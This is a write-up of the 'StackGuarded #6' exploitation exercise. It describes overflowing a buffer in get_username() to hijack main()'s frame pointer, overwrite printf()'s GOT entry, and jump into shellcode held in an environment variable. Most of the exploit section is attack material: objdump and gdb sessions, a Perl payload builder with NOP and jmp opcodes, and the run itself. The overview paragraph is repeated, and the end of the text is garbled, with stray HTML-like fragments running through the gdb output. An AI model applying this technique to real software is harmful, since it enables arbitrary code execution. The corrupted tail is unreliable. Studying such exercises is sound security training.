gera's StackGuarded #6.
The overview for this exploit is to use the buffer overflow in get_username() to control main()'s ebp and user_name variable. ebp is adjusted so that user_name will point to printf()'s GOT entry. On return from get_user(), the GOT entry will be overwritten with a pointer from strdup(). This pointer will point to a jmp statement which, in turn, will jump to shellcode in the environment.
Information gathering.
/* sg6.c *
* specially crafted to feed your brain by gera@corest.com */
// XXX: Add real encryption here
#define decrypt(dest,src) strcpy(dest,src)
int get_username(char *user) {
char temp[80];
decrypt(temp,user);
return strdup(temp);
}
int main(int argv, char **argc) {
char *user_name;
user_name = get_username(argc[1]);
printf("User name is '%s'\n",user_name);
return 0;
}
Same caveats.
The overview for this exploit is to use the buffer overflow in get_username() to control main()'s ebp and user_name variable. ebp is adjusted so that user_name will point to printf()'s GOT entry. On return from get_user(), the GOT entry will be overwritten with a pointer from strdup(). This pointer will point to a jmp statement which, in turn, will jump to shellcode in the environment.
Information gathering.
[dennis@localhost sg6]$ objdump -R sg6 | grep printf 080495ec R_386_JUMP_SLOT printf (gdb) x/x &user_name 0xbffffab4: 0x080496e8 (gdb) x/x $ebp - 4 0xbffffab4: 0x080496e8 [dennis@localhost sg6]$ export SG6=`perl sc.pl` [dennis@localhost sg6]$ gcc -o ev6 ev6.c [dennis@localhost sg6]$ ./ev6 `perl -e 'print "A" x 79'` SG6 is at 0xbffffc52The following was determined: printf()'s GOT entry, user_name's relative offset from ebp, location of the shellcode in the environment. argv1.pl looks like this.
#!/usr/bin/perl use warnings; use strict; my $nop = "\x90" x 3; # jmp from strdup buf to SG6 env var, bruteforce calculated my $jmp = "\xe9\x62\x65\xfb\xb7"; my $filler = "\x90" x (79 - length($nop) - length($jmp)); my $argv1 = $nop.$jmp.$filler;This will overflow get_username()'s buffer into main()'s saved ebp allowing complete control. The $jmp is a jmp statement to get from the heap (from strdup()) to the shellcode in the environment (on the stack.) Exploit.
(gdb) break 11
Breakpoint 1 at 0x80484e5: file sg6.c, line 11.
(gdb) break 19
Breakpoint 2 at 0x8048511: file sg6.c, line 19.
(gdb) run `perl argv1.pl`
Starting program: /home/dennis/sg6/sg6 `perl argv1.pl`
Breakpoint 1, get_username (
user=0xbffffba9 "\220\220\220ébeû·", 'A' ) at sg6.c:12
12 return strdup(temp);
(gdb) info frame
Stack level 0, frame at 0xbffffa28:
eip = 0x80484e5 in get_username (sg6.c:12); saved eip 0x804850b
called by frame at 0xbffffa38
source language c.
Arglist at 0xbffffa28, args:
user=0xbffffba9 "\220\220\220ébeû·", 'A'
Locals at 0xbffffa28, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffffa28, eip at 0xbffffa2c
(gdb) set {int}0xbffffa28 = 0x080495ec + 4 <-- 0x080495ec="" 0x80495ec="" 19="" 2="" argc="0x1)" argv="0," at="" breakpoint="" c="" continuing.="" ebp="" entry="" gdb="" got="" is="" main="" manually="" mimic="" n="" name="" overwrite="" printf="" s="" ser="" sg6.c:19="" user_name="" x="">: 0x080496e8 <-- 0x80496e8:="" 0x80496e9:="" 0x80496ea:="" 0x80496eb:="" 0xbffffc52="" gdb="" i="" in="" jmp="" nop="" pre="" sg6="" shellcode="" user_name="" x="">
-->-->